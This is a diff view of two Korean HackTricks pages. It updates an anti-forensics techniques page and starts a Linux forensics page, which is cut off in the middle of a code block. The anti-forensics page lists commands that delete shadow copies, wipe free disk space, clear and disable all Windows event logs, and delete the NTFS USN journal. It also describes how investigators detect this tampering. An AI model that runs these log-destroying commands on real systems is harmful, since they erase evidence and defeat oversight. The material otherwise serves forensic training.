* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}

View file

@ -1,87 +1,88 @@
# 안티 포렌식 기술 # 안티 포렌식 기법
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**로 **AWS 해킹**을 배우세요!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 기법을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
## 타임스탬프 ## 타임스탬프
공격자는 **파일의 타임스탬프를 변경**하여 감지를 피하려 할 수 있습니다.\ 공격자는 **파일의 타임스탬프를 변경**하여 탐지를 피하고자 할 수 있습니다.\
MFT 내에서 `$STANDARD_INFORMATION``$FILE_NAME` 속성에서 타임스탬프를 찾을 수 있습니다. 타임스탬프는 MFT의 `$STANDARD_INFORMATION` \_\_ 및 \_\_ `$FILE_NAME` 속성 내에서 찾을 수 있습니다.
두 속성에는 **수정**, **액세스**, **생성**, **MFT 레지스트리 수정**(MACE 또는 MACB)에 대한 4개의 타임스탬프가 있습니다. 두 속성 모두 4개의 타임스탬프를 가지고 있습니다: **수정**, **접근**, **생성**, 및 **MFT 레지스트리 수정** (MACE 또는 MACB).
**Windows 탐색기** 및 기타 도구는 **`$STANDARD_INFORMATION`**에서 정보를 표시합니다. **Windows 탐색기** 및 기타 도구는 **`$STANDARD_INFORMATION`** 정보를 표시합니다.
### TimeStomp - 안티 포렌식 도구 ### TimeStomp - 안티 포렌식 도구
이 도구는 **`$STANDARD_INFORMATION`** 내의 타임스탬프 정보를 **수정**하지만 **`$FILE_NAME`** 내의 정보는 **수정하지 않습니다**. 따라서 **의심스러운 활동을 식별**할 수 있습니다. 이 도구는 **`$STANDARD_INFORMATION`** 내의 타임스탬프 정보를 **수정**하지만 **`$FILE_NAME`** 내의 정보는 **수정하지 않습니다**. 따라서 **의심스러운** **활동을 식별**할 수 있습니다.
### Usnjrnl ### Usnjrnl
**USN Journal**(Update Sequence Number Journal)은 NTFS(Windows NT 파일 시스템)의 기능으로 볼륨 변경 사항을 추적합니다. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) 도구를 사용하여 이러한 변경 사항을 검토할 수 있습니다. **USN 저널** (업데이트 시퀀스 번호 저널)은 NTFS (Windows NT 파일 시스템)의 기능으로, 볼륨 변경 사항을 추적합니다. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) 도구를 사용하면 이러한 변경 사항을 검사할 수 있습니다.
![](<../../.gitbook/assets/image (801).png>) ![](<../../.gitbook/assets/image (801).png>)
이전 이미지는 **도구**에서 표시된 **출력**으로 파일에 일부 **변경이 수행**된 것을 확인할 수 있습니다. 이전 이미지는 **도구**에서 표시된 **출력**으로, 파일에 대해 **일부 변경이 수행되었음을** 관찰할 수 있습니다.
### $LogFile ### $LogFile
파일 시스템의 모든 메타데이터 변경 사항은 [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead\_logging)이라는 프로세스에서 **로그됩니다**. 로그된 메타데이터는 NTFS 파일 시스템의 루트 디렉토리에 있는 `**$LogFile**`이라는 파일에 유지됩니다. [LogFileParser](https://github.com/jschicht/LogFileParser)와 같은 도구를 사용하여 이 파일을 구문 분석하고 변경 사항을 식별할 수 있습니다. **파일 시스템에 대한 모든 메타데이터 변경 사항은** [쓰기 선행 로깅](https://en.wikipedia.org/wiki/Write-ahead_logging)이라는 프로세스에 기록됩니다. 기록된 메타데이터는 NTFS 파일 시스템의 루트 디렉토리에 위치한 `**$LogFile**`이라는 파일에 저장됩니다. [LogFileParser](https://github.com/jschicht/LogFileParser)와 같은 도구를 사용하여 이 파일을 구문 분석하고 변경 사항을 식별할 수 있습니다.
![](<../../.gitbook/assets/image (137).png>) ![](<../../.gitbook/assets/image (137).png>)
다시 도구의 출력에서 **일부 변경이 수행**된 것을 확인할 수 있습니다. 다시 말해, 도구의 출력에서 **일부 변경이 수행되었음을** 수 있습니다.
동일한 도구를 사용하여 **타임스탬프가 수정된 시간을 식별**할 수 있습니다: 같은 도구를 사용하여 **타임스탬프가 수정된 시간을 식별**할 수 있습니다:
![](<../../.gitbook/assets/image (1089).png>) ![](<../../.gitbook/assets/image (1089).png>)
* CTIME: 파일 생성 시간 * CTIME: 파일 생성 시간
* ATIME: 파일 수정 시간 * ATIME: 파일 수정 시간
* MTIME: 파일 MFT 레지스트리 수정 * MTIME: 파일 MFT 레지스트리 수정
* RTIME: 파일 액세스 시간 * RTIME: 파일 접근 시간
### `$STANDARD_INFORMATION``$FILE_NAME` 비교 ### `$STANDARD_INFORMATION``$FILE_NAME` 비교
의심스러운 수정된 파일을 식별하는 또 다른 방법은 두 속성의 시간을 비교하여 **불일치**를 찾는 것입니다. 의심스러운 수정된 파일을 식별하는 또 다른 방법은 두 속성의 시간을 비교하여 **불일치를 찾는 것**입니다.
### 나노초 ### 나노초
**NTFS** 타임스탬프는 **100 나노초의 정밀도**를 갖습니다. 따라서 2010-10-10 10:10:**00.000:0000과 같은 타임스탬프가 있는 파일을 찾는 것은 매우 의심스러울 수 있습니다. **NTFS** 타임스탬프는 **100 나노초**의 **정밀도**를 가집니다. 따라서 2010-10-10 10:10:**00.000:0000와 같은 타임스탬프를 가진 파일을 찾는 것은 매우 의심스럽습니다.
### SetMace - 안티 포렌식 도구 ### SetMace - 안티 포렌식 도구
이 도구는 `$STARNDAR_INFORMATION``$FILE_NAME` 속성을 모두 수정할 수 있습니다. 그러나 Windows Vista부터는 이 정보를 수정하려면 라이브 OS가 필요합니다. 이 도구는 `$STARNDAR_INFORMATION``$FILE_NAME` 속성을 수정할 수 있습니다. 그러나 Windows Vista부터는 이 정보를 수정하기 위해 라이브 OS가 필요합니다.
## 데이터 숨 ## 데이터 숨기기
NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이 클러스터와 반 개를 사용하면 **파일이 삭제될 때까지 남은 반은 사용되지 않을 것**입니다. 그럼으로 이 "숨겨진" 공간에 데이터를 **숨길 수 있습니다**. NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이 클러스터와 반 개를 차지하면, **남은 반 개는 파일이 삭제될 때까지 절대 사용되지 않습니다**. 따라서 이 슬랙 공간에 **데이터를 숨길 수 있습니다**.
슬래커와 같은 도구를 사용하 이 "숨겨진" 공간에 데이터를 숨길 수 있습니다. 그러나 `$logfile``$usnjrnl` 분석을 통해 일부 데이터가 추가되었음을 확인할 수 있습니다: 슬래커와 같은 도구를 사용하 이 "숨겨진" 공간에 데이터를 숨길 수 있습니다. 그러나 `$logfile``$usnjrnl` 분석을 통해 일부 데이터가 추가되었음을 보여줄 수 있습니다:
![](<../../.gitbook/assets/image (1060).png>) ![](<../../.gitbook/assets/image (1060).png>)
그런 다음 FTK Imager와 같은 도구를 사용하여 슬랙 공간을 검색할 수 있습니다. 이러한 유형의 도구는 콘텐츠를 난독화하거나 암호화할 수 있습니다. 그런 다음 FTK Imager와 같은 도구를 사용하여 슬랙 공간을 복구할 수 있습니다. 이러한 종류의 도구는 내용을 난독화하거나 심지어 암호화된 상태로 저장할 수 있습니다.
## UsbKill ## UsbKill
이 도구는 **USB 포트에 변경 사항이 감지되면 컴퓨터를 종료**합니다.\ 이 도구는 **USB** 포트에서 변경 사항이 감지되면 컴퓨터를 **꺼**는 도구입니다.\
이를 발견하는 방법은 실행 중인 프로세스를 검사하고 **각 Python 스크립트를 검토**하는 것입니다. 이를 발견하는 방법은 실행 중인 프로세스를 검사하고 **실행 중인 각 파이썬 스크립트를 검토하는 것**입니다.
## 라이브 Linux 배포 ## 라이브 리눅스 배포판
러한 배포판은 **RAM 메모리 내에서 실행**됩니다. NTFS 파일 시스템이 쓰기 권한으로 마운트된 경우에만 침입을 감지할 수 있습니다. 읽기 권한으로만 마운트된 경우 침입을 감지할 수 없습니다. 배포판은 **RAM** 메모리 내에서 **실행됩니다**. 이를 감지하는 유일한 방법은 **NTFS 파일 시스템이 쓰기 권한으로 마운트된 경우**입니다. 읽기 권한만으로 마운트되면 침입을 감지할 수 없습니다.
## 안전한 삭제 ## 안전한 삭제
@ -89,74 +90,90 @@ NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이
## Windows 구성 ## Windows 구성
포렌식 조사를 훨씬 어렵게 만들기 위해 여러 Windows 로깅 방법을 비활성화할 수 있습니다. 여러 Windows 로깅 방법을 비활성화하여 포렌식 조사를 훨씬 더 어렵게 만들 수 있습니다.
### 타임스탬프 비활성화 - UserAssist ### 타임스탬프 비활성화 - UserAssist
는 사용자가 실행한 각 실행 파일의 날짜와 시간을 유지하는 레지스트리 키입니다. 것은 사용자가 각 실행 파일을 실행한 날짜와 시간을 유지하는 레지스트리 키입니다.
UserAssist를 비활성화하려면 두 단계가 필요합니다: UserAssist를 비활성화하려면 두 단계를 수행해야 합니다:
1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs``HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` 레지스트리 키를 0으로 설정하여 UserAssist를 비활성화하려는 것을 나타냅니다. 1. 두 개의 레지스트리 키, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs``HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` 두 0으로 설정하여 UserAssist를 비활성화하려고 한다는 신호를 보냅니다.
2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`와 같은 레지스트리 하위 트리를 지웁니다. 2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`와 같은 레지스트리 하위 트리를 지웁니다.
### 타임스탬프 비활성화 - Prefetch ### 타임스탬프 비활성화 - Prefetch
는 Windows 시스템의 성능을 향상시키기 위해 실행된 응용 프로그램에 대한 정보를 저장합니다. 그러나 이는 포렌식 실무에도 유용할 수 있습니다. 것은 Windows 시스템의 성능을 향상시키기 위해 실행된 애플리케이션에 대한 정보를 저장합니다. 그러나 이것은 포렌식 관행에도 유용할 수 있습니다.
* `regedit` 실행합니다. * `regedit` 실행
* 파일 경로 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` 선택합니다. * 파일 경로 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` 선택
* `EnablePrefetcher``EnableSuperfetch`에서 마우스 오른쪽 버튼을 클릭합니다. * `EnablePrefetcher``EnableSuperfetch`를 마우스 오른쪽 버튼으로 클릭
* 각각을 수정하려면 1(또는 3)에서 0으로 값을 변경합니다. * 각 항목에서 값을 1(또는 3)에서 0으로 변경하기 위해 수정 선택
* 다시 시작합니다. * 재부팅
### 타임스탬프 비활성화 - 마지막 액세스 시간 ### 타임스탬프 비활성화 - 마지막 접근 시간
Windows NT 서버의 NTFS 볼륨에서 폴더가 열릴 때 시스템은 **각 목록된 폴더의 타임스탬프 필드를 업데이트**하는 시간을 취합니다. 이를 마지막 액세스 시간이라고 합니다. 사용 빈도가 높은 NTFS 볼륨에서는 성능에 영향을 줄 수 있습니다. Windows NT 서버의 NTFS 볼륨에서 폴더가 열릴 때마다 시스템은 각 나열된 폴더에 대한 타임스탬프 필드를 **업데이트하는 데 시간을 소요합니다**, 이를 마지막 접근 시간이라고 합니다. 사용량이 많은 NTFS 볼륨에서는 성능에 영향을 줄 수 있습니다.
1. 레지스트리 편집기(Regedit.exe)를 엽니다. 1. 레지스트리 편집기(Regedit.exe)를 엽니다.
2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`로 이동합니다. 2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`로 이동합니다.
3. `NtfsDisableLastAccessUpdate`를 찾습니다. 존재하지 않으면 이 DWORD를 추가하고 값을 1로 설정하여 프로세스를 비활성화합니다. 3. `NtfsDisableLastAccessUpdate`를 찾습니다. 존재하지 않으면 이 DWORD를 추가하고 값을 1로 설정하여 프로세스를 비활성화합니다.
4. 레지스트리 편집기를 닫고 서버를 다시 시작합니다. 4. 레지스트리 편집기를 닫고 서버를 재부팅합니다.
### USB 히스토리 삭제
모든 **USB 장치 항목**은 Windows 레지스트리에 **USBSTOR** 레지스트리 키 아래에 저장되며, 이 키에는 PC나 노트북에 USB 장치를 연결할 때마다 생성되는 하위 키가 포함되어 있습니다. 이 키는 여기에서 찾을 수 있습니다 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **이를 삭제**하면 USB 히스토리가 삭제됩니다.\ ### USB 기록 삭제
또한 [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) 도구를 사용하여 삭제했는지 확인하고 삭제할 수 있습니다.
USB에 대한 정보를 저장하는 또 다른 파일은 `C:\Windows\INF` 내부의 `setupapi.dev.log` 파일입니다. 이 파일도 삭제해야 합니다. 모든 **USB 장치 항목**은 USB 장치를 PC 또는 노트북에 연결할 때 생성되는 하위 키를 포함하는 **USBSTOR** 레지스트리 키 아래에 Windows 레지스트리에 저장됩니다. 이 키는 여기에서 찾을 수 있습니다: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **이것을 삭제하면** USB 기록이 삭제됩니다.\
또한 [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) 도구를 사용하여 삭제되었는지 확인할 수 있습니다 (그리고 삭제할 수 있습니다).
### 그림자 복사본 비활성화 USB에 대한 정보를 저장하는 또 다른 파일은 `C:\Windows\INF` 내의 `setupapi.dev.log` 파일입니다. 이것도 삭제해야 합니다.
`vssadmin list shadowstorage`로 그림자 복사본을 **목록**화합니다.\ ### 섀도우 복사 비활성화
`vssadmin delete shadow`를 실행하여 삭제합니다.
또한 [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)에서 제안된 단계를 따라 GUI를 통해 삭제할 수도 있습니다. **섀도우 복사 목록**을 보려면 `vssadmin list shadowstorage` 실행\
**삭제**하려면 `vssadmin delete shadow` 실행
그림자 복사본을 비활성화하려면 [여기에서 제안된 단계](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)를 따르세요: [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)에서 제안된 단계를 따라 GUI를 통해 삭제할 수도 있습니다.
섀도우 복사를 비활성화하려면 [여기에서 단계](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
1. Windows 시작 버튼을 클릭한 후 텍스트 검색 상자에 "services"를 입력하여 서비스 프로그램을 엽니다. 1. Windows 시작 버튼을 클릭한 후 텍스트 검색 상자에 "services"를 입력하여 서비스 프로그램을 엽니다.
2. 목록에서 "Volume Shadow Copy"를 찾아 선택한 다음 마우스 오른쪽 버튼을 클릭하여 속성에 액세스합니다. 2. 목록에서 "Volume Shadow Copy"를 찾아 선택한 후 마우스 오른쪽 버튼을 클릭하여 속성에 접근합니다.
3. "시작 유형" 드롭다운 메뉴에서 "비활성화"를 선택한 다음 변경을 확인하기 위해 적용 및 확인을 클릭합니다. 3. "시작 유형" 드롭다운 메뉴에서 비활성화를 선택하고, 변경 사항을 적용하고 확인을 클릭하여 변경을 확인합니다.
그림자 복사본에서 복사할 파일의 구성을 수정할 수도 있습니다. 레지스트리 `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`에서 이를 수행할 수 있습니다. 어떤 파일이 섀도우 복사에 복사될지를 레지스트리 `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`에서 수정할 수도 있습니다.
### 삭제된 파일 덮어쓰기 ### 삭제된 파일 덮어쓰기
* **Windows 도구**`cipher /w:C`를 사용할 수 있습니다. 이는 cipher에게 C 드라이브 내의 사용 가능한 미사용 디스크 공간에서 데이터를 제거하도록 지시합니다. * **Windows 도구**를 사용할 수 있습니다: `cipher /w:C` 이는 C 드라이브 내의 사용 가능한 미사용 디스크 공간에서 데이터를 제거하도록 지시합니다.
* [**Eraser**](https://eraser.heidi.ie)와 같은 도구도 사용할 수 있습니다. * [**Eraser**](https://eraser.heidi.ie)와 같은 도구를 사용할 수도 있습니다.
### Windows 이벤트 로그 삭제 ### Windows 이벤트 로그 삭제
* Windows + R --> eventvwr.msc --> "Windows Logs" 확장 --> 각 범주를 마우스 오른쪽 버튼으로 클릭하고 "로그 지우기" 선택합니다. * Windows + R --> eventvwr.msc --> "Windows 로그" 확장 --> 각 카테고리를 마우스 오른쪽 버튼으로 클릭하고 "로그 지우기" 선택
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` * `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` * `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
### Windows 이벤트 로그 비활성화 ### Windows 이벤트 로그 비활성화
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` * `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
* 서비스 섹션 내에서 "Windows Event Log" 서비스를 비활성화합니다. * 서비스 섹션 내에서 "Windows 이벤트 로그" 서비스를 비활성화합니다.
* `WEvtUtil.exec clear-log` 또는 `WEvtUtil.exe cl` * `WEvtUtil.exec clear-log` 또는 `WEvtUtil.exe cl`
### $UsnJrnl 비활성화 ### $UsnJrnl 비활성화
* `fsutil usn deletejournal /d c:` * `fsutil usn deletejournal /d c:`
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 기법을 공유하세요.**
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# 리눅스 포렌식 # Linux Forensics
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**로 구동되는 **워크플로우를 쉽게 구축** **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
## 초기 정보 수집 ## 초기 정보 수집
### 기본 정보 ### 기본 정보
먼저, **USB**에 **잘 알려진 이진 파일 및 라이브러리**가 있는 것이 좋습니다(우분투를 가져와 _/bin_, _/sbin_, _/lib,__/lib64_ 폴더를 복사할 수 있습니다), 그런 다음 USB를 마운트하고, 환경 변수를 수정하여 해당 이진 파일을 사용하세요: 우선, **잘 알려진 바이너리와 라이브러리가 있는 **USB**를 준비하는 것이 좋습니다** (우분투를 다운로드하고 _/bin_, _/sbin_, _/lib,__/lib64_ 폴더를 복사하면 됩니다), 그런 다음 USB를 마운트하고 환경 변수를 수정하여 해당 바이너리를 사용하세요:
```bash ```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
``` ```
한 번 시스템이 좋고 알려진 이진 파일을 사용하도록 구성되면 **기본 정보를 추출**할 수 있습니다: 시스템을 신뢰할 수 있는 바이너리를 사용하도록 구성한 후에는 **기본 정보를 추출하기 시작할 수 있습니다**:
```bash ```bash
date #Date and time (Clock may be skewed, Might be at a different timezone) date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info uname -a #OS info
@ -49,47 +50,47 @@ cat /etc/passwd #Unexpected data?
cat /etc/shadow #Unexpected data? cat /etc/shadow #Unexpected data?
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
``` ```
#### 수상한 정보 #### 의심스러운 정보
기본 정보를 얻는 동안 다음과 같은 이상한 을 확인해야 합니다: 기본 정보를 얻는 동안 다음과 같은 이상한 사항을 확인해야 합니다:
- **루트 프로세스**는 일반적으로 낮은 PID로 실행되므로, 큰 PID를 가진 루트 프로세스를 발견하면 의심해야 합니다. * **루트 프로세스**는 일반적으로 낮은 PID로 실행되므로, 큰 PID를 가진 루트 프로세스를 발견하면 의심할 수 있습니다.
- `/etc/passwd` 내부에 쉘 없이 등록된 사용자들의 **등록된 로그인**을 확인합니다. * `/etc/passwd` 내에서 셸이 없는 사용자의 **등록된 로그인**을 확인하십시오.
- `/etc/shadow` 내부에 쉘 없이 사용자들의 **비밀번호 해시**를 확인합니다. * 셸이 없는 사용자의 `/etc/shadow` 내에서 **비밀번호 해시**를 확인하십시오.
### 메모리 덤프 ### 메모리 덤프
실행 중인 시스템의 메모리를 얻기 위해서는 [**LiME**](https://github.com/504ensicsLabs/LiME)를 사용하는 것이 좋습니다.\ 실행 중인 시스템의 메모리를 얻으려면 [**LiME**](https://github.com/504ensicsLabs/LiME)를 사용하는 것이 좋습니다.\
**컴파일**하려면 피해자 머신이 사용 중인 **동일한 커널**을 사용해야 합니다. **컴파일**하려면 피해자 머신이 사용하는 **동일한 커널**을 사용해야 합니다.
{% hint style="info" %} {% hint style="info" %}
피해자 머신에 **LiME나 다른 것을 설치할 수 없다는 것**을 기억하세요. 그렇게 하면 여러 가지 변경 사항이 발생합니다. 피해자 머신에 **LiME 또는 다른 어떤 것**도 설치할 수 없다는 점을 기억하세요. 이는 여러 가지 변경을 초래할 것입니다.
{% endhint %} {% endhint %}
따라서 Ubuntu의 동일한 버전이 있다면 `apt-get install lime-forensics-dkms`를 사용할 수 있습니다.\ 따라서 동일한 버전의 Ubuntu가 있다면 `apt-get install lime-forensics-dkms`를 사용할 수 있습니다.\
그렇지 않은 경우 [**LiME**](https://github.com/504ensicsLabs/LiME)을 github에서 다운로드하고 올바른 커널 헤더로 컴파일해야 합니다. 피해자 머신의 **정확한 커널 헤더**를 얻으려면 `/lib/modules/<커널 버전>` 디렉토리를 단순히 복사하여 자신의 머신에 붙여넣은 다음, 이를 사용하여 LiME을 **컴파일**할 수 있습니다: 다른 경우에는 [**LiME**](https://github.com/504ensicsLabs/LiME)를 github에서 다운로드하고 올바른 커널 헤더로 컴파일해야 합니다. 피해자 머신의 **정확한 커널 헤더**를 얻으려면 `/lib/modules/<kernel version>` 디렉토리를 귀하의 머신으로 **복사**한 다음, 이를 사용하여 LiME를 **컴파일**하면 됩니다:
```bash ```bash
make -C /lib/modules/<kernel version>/build M=$PWD make -C /lib/modules/<kernel version>/build M=$PWD
